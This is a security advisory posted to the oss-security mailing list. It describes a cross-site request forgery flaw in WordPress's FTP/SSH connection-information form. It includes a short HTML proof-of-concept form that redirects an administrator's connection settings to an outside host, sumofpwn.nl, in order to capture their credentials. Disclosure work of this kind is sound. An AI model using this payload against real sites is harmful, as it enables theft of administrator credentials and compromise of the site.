|
Message-ID: <c1e731cf-2841-56d0-4be7-a2ae98edd66e@securify.nl> Date: Fri, 21 Apr 2017 00:30:31 +0200 From: Summer of Pwnage <lists@...urify.nl> To: oss-security@...ts.openwall.com Subject: Cross-Site Request Forgery in WordPress Connection Information ------------------------------------------------------------------------ Cross-Site Request Forgery in WordPress Connection Information ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ The FTP/SSH form functionality of WordPress was found to be vulnerable to Cross-Site Request Forgery. This vulnerability can be used to overwrite the FTP or SSH connection settings of the affected WordPress site. An attacker can use this issue to trick an Administrator into logging into the attacker's FTP or SSH server, disclosing his/her login credentials to the attacker. In order to exploit this vulnerability, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160717-0004 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on the WordPress [2] version 4.5.3 up till and including version 4.7.4. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ There is currently no fix available. ------------------------------------------------------------------------ Introduction ------------------------------------------------------------------------ WordPress is web software you can use to create a website, blog, or app. It was found that the FTP/SSH form functionality is vulnerable to Cross-Site Request Forgery. This vulnerability can be used by an attacker to overwrite the FTP or SSH connection settings of the affected WordPress site. It can be used to trick in an Administrator into login into the attacker's FTP or SSH server, disclosing his/her login credentials to the attacker. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ This issue exists in the method request_filesystem_credentials() (/wp-admin/includes/file.php). It allows overwriting of the values: - hostname - username - connection_type The request_filesystem_credentials() method is called in various locations in WordPress. The connection information is updated if a POST request contains a password or public & private key value (in case of connection type ssh). In order to trigger this issue, the WordPress installation must not be able to write to the wp-content folder. Also, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ Proof of concept ------------------------------------------------------------------------ <html> <body> <form action="http://<target>/wp-admin/plugins.php" method="POST"> <input type="hidden" name="hostname" value="sumofpwn.nl" /> <input type="hidden" name="connection_type" value="ftp" /> <input type="hidden" name="password" value="password" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ References ------------------------------------------------------------------------ [1] https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_connection_information.html [2] https://wordpress.org/ ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.